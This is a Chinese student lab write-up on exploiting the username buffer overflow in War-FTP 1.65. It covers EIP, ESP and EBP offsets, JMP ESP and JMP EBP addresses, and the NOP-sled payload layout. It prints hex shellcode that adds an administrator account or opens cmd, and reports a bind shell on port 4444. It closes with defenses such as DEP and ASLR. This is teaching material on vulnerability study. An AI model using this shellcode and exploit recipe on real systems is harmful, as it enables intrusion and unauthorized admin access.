漏洞挖掘实践
完整图片版:http://1.johnhome.sinaapp.com/?p=157 一.目的1.1掌握缓冲区溢出的原理
缓冲区指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内 的各种数据类型。溢出,指所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存区域。缓冲区溢出,即由于填充数据越界而导致原有流程的改变,攻击者借此精心构造填充数据,让程序转而执行特殊的代码,最终获取控制权。
1.2掌握常用的缓冲区溢出方法 ?????缓冲区溢出攻击的目的在于取得程序的控制权,为此,攻击者必须达到如下的两个目标:在程序的地址空间里安排适当的代码;通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。
1.3理解缓冲区溢出的危害性????缓冲区溢出的危害性具有破坏性与隐蔽性的特点:破坏性体现在易使服务程序停止运行,服务器死机甚至删除服务器上的数据或者可以执入并运行攻击代码。隐蔽性体现在软件漏洞难以避免,缓冲攻击的shellcode的执行不易被察觉,攻击的随机性及不可预测性。 1.4掌握防范和避免缓冲区溢出攻击的方法 ?????通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;强制编写正确的代码;利用编译器的边界检查来实现缓冲区的保护;间接的方法是在程序指针失效前进行完整性检查等。
二.内容2.1分析war-ftp?v1.65的基于用户名的缓冲溢出漏洞实践课件上已指出:向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER?longStringrn),溢出之后,ESP中的内容包含了longString中的部分内容。需要对其进行验证分析。 2.2分析war-ftp?v1.65的堆栈结构????即分析堆栈中的EIP、ESP、EBP等的精确位置。 2.3构造针对war-ftp?v1.65的exploit????根据上述的分析结果,参照实践课件的例子,从网上(主要是metasploit.com)获取shellcode,构造exploit。 三.环境 3.1调试工具??CDB(安装Debugging?Tools?for?Windows),这个实践使用CDB就足够了。 ??OllyDBG,一个强大的具有可视化界面的?32?位汇编-分析调试器。 3.2编程语言??使用C语言,能找到的shellcode只有C、perl、ruby、javascript、raw的,本人只对C熟悉。 3.3网络环境???使用虚拟机Vmware6.5,物理主机与虚拟机内装的windowsXP(192.168.85.3),windows?server?2000(192.168.85.6),windows?server?2003(192.168.85.5)所处网段为192.168.85.0/24。 3.4其它工具Shellcode生成工具:http://www.metasploit.com:55555/PAYLOADS 堆栈指针定位工具:ActivePerl,提供perl运行环境;安装metasploit后,?frameworklib下的PatternCreate.pl可用于构造一个不重复的字符串;framework/sdk下的patternOffset.pl用来计算来前者产生的字符串中某段字符的偏移量。
四.设计(详细过程)4.1验证War-ftp?v1.65基于用户名的缓冲溢出漏洞在虚拟主机WindowsXP中运行war-ftp?1.65,允许匿名登录; 在物理主机使用cuteftp登录,用户名使用依次增加的“AAA…”,当用户名长度超过480时,war-ftp?1.65出现异常甚至崩溃退出。使用cdb(480个A),OllyDBG(481个A),cdb(486个A)调试截图如下:
? 图4-1:用户名为480个A
????????????????????????????
?图4-2:用户名为481个A ? 图4-3:用户名为486个A 图4-4:用户名为500个A ????图4-3中EIP=63202041,41为A的ASCII码,结合图4-4,这隐约表示EIP的偏移量可能为485,这将在下一节将进行验证。 ????以上截图表明War-ftp?1.65确实存在漏洞: ????“向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER?longStringrn),溢出之后,ESP中的内容包含了longString中的部分内容。”? 4.2分析War-ftp?1.65的堆栈结构由于堆栈Ret里的地址被赋给EIP,CPU继续执行EIP所指向的命令,即EIP寄存器的内容表示将要执行的下一条指令地址,所以需要定位RET的精确位置。为了把shellcode放入预期的EIP指向的ESP或EBP,还需要定位ESP、EBP的精确位置。这里使用CDB及PatternCreate.pl,?PatternOffset.pl来实现。 首先使用?PatternCreate.pl生成1000个不重复的字符; 使用cdb挂起war-ftp?1.65,然后把一千个字符作为FTP登录的用户名连接war-ftp?1.65; 读取EIP的值,ESP,EBP的内容: ????????????????????????????????? ????????????????????????????????????????图4-5:EIP的值,EBP的内容 用PatternOffset.pl计算RET、ESP、EBP的偏移量: ??????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????????????????图4-6:RET、ESP、EBP的偏移量 结果表明,EIP指向第485位置(从0开始计数),ESP指向第493位置,EBP指向第581位置。从而可以得到war-ftp?1.65的堆栈结构图如下: ??????????????????????????????????
? 图4-7:war-ftp?v1.65的堆栈结构简图 4.3获取shellcode由于对汇编语言不熟悉,没达到手工编写shellcode的境界,所以这次实践所用的shellcode都是来自于互联网,下边例举两个:
//shellcode,添加用户名为zane,密码为enaz的管理员用户:net?user?zane?enaz?/add /*?win32_adduser?-??PASS=enaz?EXITFUNC=process?USER=zane?Size=476?Encoder=Alpha2?http://metasploit.com?*/ unsigned?char?scode0[]= “xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49″ “x49x49x49x49x49x49x49x49x37x49x49x49x51x5ax6ax4a” “x58x30x42x30x50x41x6bx41x41x5ax42x32x41x42x32x42″ “x41x41x30x42x41x58x50x38x41x42x75x7ax49x79x6cx69″ “x78x51x54x57x70x43x30x63x30x4cx4bx67x35x45x6cx6e” “x6bx71x6cx66x65x43x48x55x51x5ax4fx4ex6bx70x4fx42″ “x38x4cx4bx43x6fx51x30x56x61x78x6bx30x49x4cx4bx76″ “x54x4cx4bx65x51x7ax4ex66x51x6bx70x5ax39x6ex4cx4d” “x54x4fx30x73x44x56x67x68x41x5ax6ax66x6dx44x41x6a” “x62x58x6bx48x74x65x6bx72x74x31x34x77x74x74x35x79″ “x75x6cx4bx73x6fx67x54x64x41x7ax4bx62x46x6ex6bx64″ “x4cx30x4bx6ex6bx33x6fx75x4cx37x71x48x6bx6ex6bx57″ “x6cx4cx4bx77x71x58x6bx4cx49x61x4cx56x44x47x74x69″ “x53x70x31x4bx70x45x34x4cx4bx31x50x64x70x6fx75x49″ “x50x52x58x36x6cx4cx4bx43x70x64x4cx4ex6bx74x30x45″ “x4cx4cx6dx4ex6bx63x58x33x38x6ax4bx47x79x4cx4bx4d” “x50x68x30x37x70x73x30x53x30x6ex6bx35x38x55x6cx53″ “x6fx47x41x6ax56x73x50x52x76x4bx39x7ax58x4fx73x6b” “x70x63x4bx76x30x42x48x31x6ex78x58x78x62x62x53x62″ “x48x7ax38x4bx4ex4fx7ax66x6ex30x57x69x6fx38x67x61″ “x73x50x6dx55x34x66x4ex33x55x73x48x35x35x61x30x54″ “x6fx45x33x31x30x50x6ex72x45x50x74x65x70x30x75x41″ “x63x70x65x73x42x37x50x51x6ax62x41x62x4ex72x45x71″ “x30x71x75x70x6ex50x61x72x5ax37x50x46x4fx43x71x71″ “x54x43x74x41x30x36x46x51x36x55x70x70x6ex43x55x70″ “x74x55x70x30x6cx72x4fx32x43x35x31x50x6cx70x67x64″ “x32x72x4fx54x35x42x50x35x70x32x61x71x74x42x4dx62″ “x49x30x6ex55x39x33x43x73x44x71x62x51x71x72x54x50″ “x6fx54x32x31x63x45x70x71x6ax42x41x62x4ex41x75x55″ “x70x46x4fx30x41x30x44x30x44x43x30x4a”; //攻击本地主机时,打开CMD界面 /*来自《缓冲区溢出就是这么简单-学院-黑客基地》 www.hackbase.com/tech/2008-08-12/41442.html*/ unsigned?char?scode2[]?= “x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53″ “xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6″ “x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA” “x77x1dx80x7c” “x52x8Dx45xF4x50xFFx55xF0″ “x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E” “x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4″ “x50xB8″ “xc7x93xbfx77″ “xFFxD0″ “x83xC4x12x5D”?; 此外,还有 //绑定一个shell在4444端口,可远程telnet登录 /*?win32_bind?-??EXITFUNC=process?LPORT=4444?Size=696?Encoder=Alpha2?http://metasploit.com?*/ 4.4构造exploit这里的重点之一是寻找组成注入向量的跳转地址: 如果选择ESP为跳转的寄存器,则需要JMP?ESP的指令地址,使用failwest在《软件漏洞分析入门_6_初级shellcode_定位缓冲区》提出的代码,在中文Windows系统核心dll中查找,?找到XP?user32.dll的JMP?ESP:0x77d7c5fb,?XP?kernel32.dll的JMP?ESP:0x7c834d7b,此外可以使用中文WIN?2K/XP/2003下通用的JMP?ESP:0x7ffa4512;如果选择EBP为跳转的寄存器,则需要JMP?EBP的指令地址,这可以使用中文WIN?2K/XP/2003下通用的JMP?EBP:0x7ffa4967。 重点之二是构造攻击代码: 由于shellcode可能很长,所以使用RNS模式(构造一个大的数组,数组的前一部分填充R,即返回地址,这里填充的R的数目必须能够覆盖ret,R的值必须指向大量nops中的任何一个,这样经过一定的nops空转后,必然能执行shellcode。)
?????????????????????????图4-8:使用JMP?ESP的exploit示意图 图4-8的exploit构造一个数组,以命令USER紧跟一个空格开头,后接485个NOP空转指令,紧接着的4个字节用JMP?ESP地址如“x12x45xfax7f”来填充(这是因为x86系统是little-endian方式),之后4字节继续用填充,然后从第498字节开始把shellcode复制过去,最后以rn表示FTP?USER命令结束。攻击时,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第493字节开始的ESP执行shellcode。
?????????????????????????? 图4-9:使用JMP?EBP的exploit示意图 图4-9的exploit,之后92字节继续用填充,然后从第586发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第581字节开始的EBP执行shellcode。
4.5编程实现根据用户的选择,构造溢出字符串(即构造后接shellcode的USER命令: USER??exploitcodern); 根据用户提供的数据,使用Socket,使用connect连接目标主机; 向目标主机发送溢出字符串(send); 关闭连接。 4.6程序测试(见结论) ????编写的程序根据用户输入的目标IP及攻击编号进行相应的攻击,具体结果请见下边的“实践结论”。 五.结论 在DOS下运行warftpattack,可得到使用说明及可用的攻击类型指示:
图5-1:程序运行主界面 使用该程序的正确命令为: Warftpattack?<host>?<attacknumber>,例如?warftpattack?192.168.85.3?0 提供了多种攻击类型,其中0号攻击在Windows?2K/XP/2003上测试通过,其它只在XP上通过。 5.1攻击远程主机建立管理员用户使用命令warftpattack?192.168.85.6?0攻击在虚拟机中的windows?2000Server,结果截图如下: 图5-2:攻击远程主机建立管理员用户 上图的左半部分是在物理主机运行warftpattack的提示:使用windows?2k/xp/2003?的通用的JMP?ESP:0x7ffa4512,在远程主机新建密码为enaz管理员用户zane,EXITFUNC=process,右半部分则表明目标主机确实新建了zane用户。 5.2攻击远程主机打开端口4444使用命令warftpattack?192.168.85.3?1攻击在虚拟机中的windows?XP,结果截图如下: 图5-3:攻击远程主机打开4444端口 上图的左上半部分是在物理主机运行warftpattack的提示:使用windows?2k/xp/2003?的通用的JMP?ESP:0x7ffa4512,绑定一个shell在4444端口,可远程telnet登录,右上部分则表明正以telnet登录被攻击主机,下半部分表明登录成功,顺利登录到了被攻击主机的war-ftp的安装目录下。 5.3攻击本地主机打开shell使用命令warftpattack?192.168.85.3?2攻击本地主机127.0.0.1,结果截图如下: 图5-4:攻击本地主机打开shell 上图的上半部分是运行warftpattack的提示:使用windowsXP?user32.dll的JMP?ESP:0x77d7c5fb,攻击本地主机127.0.0.1时弹出CMD界面,下半部分是运行程序后弹出的shell界面,表明达到预期的攻击效果。 5.4使用非通用的JMP?ESP?使用命令warftpattack?192.168.85.3?3攻击在虚拟机中的windows?XP,结果截图如下:
图5-5:使用非通用的JMP?ESP 上图的左半部分是在物理主机运行warftpattack的提示:使用windowsXP?kernel32.dll的JMP?ESP:0x7c834d7b,在远程主机新建密码为enaz管理员用户zane,EXITFUNC=thread,右半部分被攻击的主机用户账户攻击前后的情况。 ????命令warftpattack?192.168.85.3?3及命令warftpattack?192.168.85.3?2使用的分别是Windows?XP?系统的核心kernel32.dll及user32.dll中的JMP?ESP地址。 5.5使用JMP?EBP使用命令warftpattack?192.168.85.3?4攻击在虚拟机中的windows?XP,结果截图如下: 图5-6:使用JMP?EBP 上图的左半部分是在物理主机运行warftpattack的提示:使用windows?2k/xp/2003?的通用的JMP?EBP:0x7ffa4967,在远程主机新建密码为enaz管理员用户zane,EXITFUNC=process,右半部分被攻击的主机用户账户攻击前后的情况。
5.6结论????所编写的程序能完成对运行于中文windowsXP上的war-ftp?1.65的攻击,并执行新建管理员用户(0号攻击对windows2000Server也有效)或打开某个端口或打开shell。与实践例程相比,其特色之一在于使用了WindowsXP核心dll中的JMP?ESP地址,特色之二在于使用EBP作为跳转寄存器,特色之三是能打开目标主机上的4444端口或者本地主机的shell。 六.实践体会 6.1针对缓冲溢出的防御方法从代码编写的角度来说,对于缓冲区的操作要进行严格的边界检查,这可借助一些工具如编译器来实现,像这次实践的war-ftp?1.65就应该对用户名数组边界进行检测;从运行状态来看,可进行动态保护,主要是数组边界检查和保证返回指针的完整性;从开发语言来看可使用类型-安全的编程语言如Java;此外还可以从系统的角度阻止攻击代码的执行,例如非执行的缓冲区技术。对于操作系统而言,Windows从XP?SP2引入的DEP(Data?Execution?Prevention)即“数据执行保护”,一直延续到此后的Windows?Server?2003、Windows?Server?2008中,后者的Address?Space?Load?Randomization让缓冲区溢出攻击变得非常困难,在Windows?7中,DEP默认是激活的。 6.2实践中遇到的问题实践中遇到的问题不少,在逐个解决问题的过程中体验到了成功的喜悦,并逐步加深了对相关技术的理解。 1)?War-ftp1.65基于用户名的漏洞无法呈现 在上完实践指导课回来后,立刻在虚拟机WindowsXP中运行在课堂上拷贝过来的war-ftp?1.65,在物理主机WindowsXP的DOS下使用FTP命令连接虚拟机中的war-ftp。按照实践提示,当USER后接超过480个字符后,目标主机的war-ftp程序应该崩溃,但即使我把字符数增加到1000、2000,war-ftp程序仍安然无恙!这个问题困扰了我几天。于是发邮件请教,检查了是否为war-ftp1.65原始版本,增加了字符数量,但漏洞仍未呈现。后来bitixy@yahoo.cn同学的邮件提醒了我,这可能是WindowsXPSP2?DOS下FTP命令对USER长度有限制,即在传输到目标主机时产生了截断!经过测试,发现确实如此,当USER长度超过78个字符时,系统只截取前78个字符发送给目标主机。知道原因后,我采用了CuteFTP进行登录,当用户名长度超过480个字符时,漏洞呈现,该问题解决。这个问题如果我当时注意并仔细分析了war-ftp的状态栏显示的用户名就应该能早点解决。 2)?使用patterncreate.pl生成的字符串超过1132时不能定位EIP等 当使用patterncreate.pl生成2000、1200、1133字符进行攻击时,读取到的EIP,EBP的内容都不在这些生成的字符中,当生成1132字符进行攻击时,能定位到EIP,EBP位置。为什么会这样?期待各位的解析。但这提示我要注意加入的shellcode的长度,含有shellcode的不包括“USER?”字符串的字符数组长度不能超过1132,否则攻击无效。最后实践证明这个猜测正确! 3)?Metasploit生成的Shellcode不能使用 开始是下载Metasploit?3的framework,选择其中的WEB界面,从payloads生成shellcode,结果生成的shellcode都不能达到预期的攻击效果。与人交流,并在网上搜索了很久,最后得到的有用信息有:要选择对应的平台如WIN32平台,EXITFUNC可以选process,thread,但对于本实践构造的exploit不能选择seh,至于为什么只在一个邮件列表回复中找到这样的话: “When?EXITFUNC?is?set?to?”thread”,?it?uses?ExitThread(),?when?it?is?”process”,?it?uses?ExitProcess(),?and?when?it?is?set?to?”seh”,?it?forces?an?exception?(call?0×0?iirc).”,另外she的全称是“Structured?Exception?Handler”。 ???至今未能弄清其具体原因。 更关键的设置在于Encoder的选取,为了增加生成的shellcode的可用性,如果选择从http://www.metasploit.com:55555生成payloads,务必要选择Alpha2(Saumil?Shah在《Writing?Metasploit?Plugins》中指出“Alpha2?generates?resultant?shellcode?which?is?only?alphanumeric”)或PexAlphaNum。具体原因有待进一步研究。 4)?如何查找JMP?ESP,JMP?EBP地址 实践例程提供了win?2K/XP/2003的通用JMP?ESP地址:0x7ffa4512,网上还提供了使用windows?2k/xp/2003?的通用的JMP?EBP:0x7ffa4967地址。如何查找到具体版本的核心dll中的JMP?ESP地址,这可用OllyDBG的OllyUni插件或Metasploit?Framework中的相关插件完成,也可以根据JMP?ESP的机器码0xFFE4编程载入相关的*.dll来查找。 5)?是否只能用JMP?ESP 开始以为跳转的寄存器只能用ESP,后来发现也可以使用EBP,只要在RET中指定相应的地址,EBP及之后的空间足够用于存储shellcode。 6)?用于攻击的字符数组的合适长度 这个问题之前一直没找到最重要的依据,在解决了第2)个问题时,这个问题得到了比较好的答案,即含有shellcode的不包括“USER?”字符串的字符数组长度不能超过1132,由于shellcode可能比较长,所以可以预设字符数组长度为1132+5=1137。 7)?不能返回被攻击的远程主机shell 即在运行攻击命令后,本地主机自动获得远程主机的shell。这个问题尚未解决。这可能与这样的shellcode较长导致字符数组长度超过war-ftp?1.65缓冲总大小有关,也可能是与socket编程有关。 七.文献阅读[1]?Aleph?One.?Smashing?the?Stack?for?Fun?and?Profit http://www.shmoo.com/phrack/49/p49-14 论文详细描述了Linux?系统中栈的结构和如何利用基于栈的缓冲区溢出。Aleph?One?的贡献还在于给出了如何写开一个shell?的Exploit?的方法,并给这段代码赋予shellcode?的名称,而这个称呼沿用至今。编译一段使用系统调用的简单的C?程序,通过调试器抽取汇编代码,并根据需要修改这段汇编代码。他所给出的代码可以在x86/Linux,SPARC/Solaris?和Sparc/SunOS?系统正确的工作。受到Aleph?One?的文章的启发,Internet?上出现了大量的文章讲述如何利用缓冲区溢出和如何写一段所需的Exploit。这可谓具有实际意义的缓冲溢出攻击开山之作。 [2]?Sergio?Alvarez.Intro?to?Win32?Exploits ?论文选择‘War-FTPdvl.65′?的一个stack缓冲区溢出漏洞,文章从漏洞发现、漏洞调试到漏洞利用,详细讲解如何找到buffer长度,如何寻找‘JMP?ESP’地址,如何写exploit。使用了python,fuzzer?v1.0,OllyDBG,OllyUni工具。这对本实践有较大的启发作用,但对本实践的直接作用不大。 [3]?failwest.?软件漏洞分析入门 ?????这是一个关于软件漏洞分析入门的系列,主要看了其中的初级shellcode部分,对软件的堆栈结构及缓冲区定位有着非常详细的介绍,图文并茂,并提供了获取JMP?ESP的源代码。 [4]?C?Cowan.Buffer?Overflows:Attacks?and?Defenses?for?the?Vulnerability?of?the?Decade 文章提出了缓冲区溢出漏洞详细的分类和分析缓冲区溢出漏洞,攻击,以及防御系统。论文提出了几种防止缓冲区溢出的防范方法,数组必须进行越界检查,指针完整性检查,兼容性和性能也必须考虑,使用类型安全语言编写程序等。 本文完整代码:https://github.com/jiangzhw/stackoverflow
本文基于?
署名 3.0 中国大陆
?许可协议发布,未经本人许可不得转载,否则引发的法律后果自负。
(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |